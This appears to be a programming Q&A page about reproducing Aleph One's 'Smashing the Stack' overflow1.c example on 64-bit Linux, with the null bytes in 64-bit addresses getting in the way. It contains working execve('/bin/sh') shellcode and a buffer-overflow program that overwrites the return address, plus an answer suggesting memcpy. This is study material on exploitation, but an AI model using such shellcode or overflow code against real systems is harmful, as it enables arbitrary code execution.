Search code examples
cstringstack-smash

Escaping null characters in shellcode


I'm trying to execute overflow1.c from the Smashing the Stack for Fun and Profit paper by Aleph One.

Original overflow1.c code:

char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main() {
    char buffer[96];
    int i;
    long *long_ptr = (long *) large_string;
    for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;
    for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];
    strcpy(buffer,large_string);
}

This code works fine on a 32-bit system.

I've modified the code to work on a 64-bit system:

char shellcode[] = "\x48\x31\xc0"                // xor    %rax,%rax
"\x99"                                       // cltd
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68"   // mov $0x68732f6e69622fff,%rdi
"\xb0\x3b"                                   // mov    $0x3b,%al
"\x48\xc1\xef\x08"                           // shr    $0x8,%rdi
"\x57"                                       // push   %rdi
"\x48\x89\xe7"                               // mov    %rsp,%rdi
"\x57"                                       // push   %rdi
"\x52"                                       // push   %rdx
"\x48\x89\xe6"                               // mov    %rsp,%rsi
"\x0f\x05";                                  // syscall

char large_string[144];

int main(void) {
    char buffer[96];
    int i;
    long int *long_ptr = (long int *) large_string;
    printf("0x%x", buffer);
    for (i = 0; i < 18; i++)
        *(long_ptr + i) = (long int) buffer;
    for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];
    strcpy(buffer,large_string);
}

The program only loads the shellcode and then overwrites the return address with the address of buffer. The code works as it is supposed to.

However, here's where the problem arises.

Let's say that the address of buffer on a 64-bit system is 0x7fffffffdc10, then long int casts it to 0x00007fffffffdc10. When this is written into large_string, the 00 acts as a null and terminates the string. How do I overcome this?

I can't typecast the address to just integer because 64-bit systems have 8 byte addresses and not 4 byte addresses. How do I escape the "0x00" null character?


Solution

  • Your large_string is not a string, it is a byte buffer. So don't use string functions on it.

    for (i = 0; i < sizeof(shellcode); i++)
        large_string[i] = shellcode[i];
    memcpy(buffer,large_string, sizeof(shellcode));
    

    Side notes:

    • Why are you first writing the address of buffer 18 times into large_string and then overwriting large_string?
    • You have shellcode with a given length, build large_string with a different length and finally write into buffer with another length. For example buffer is shorter than large_string, that might cause problems. You should do that better.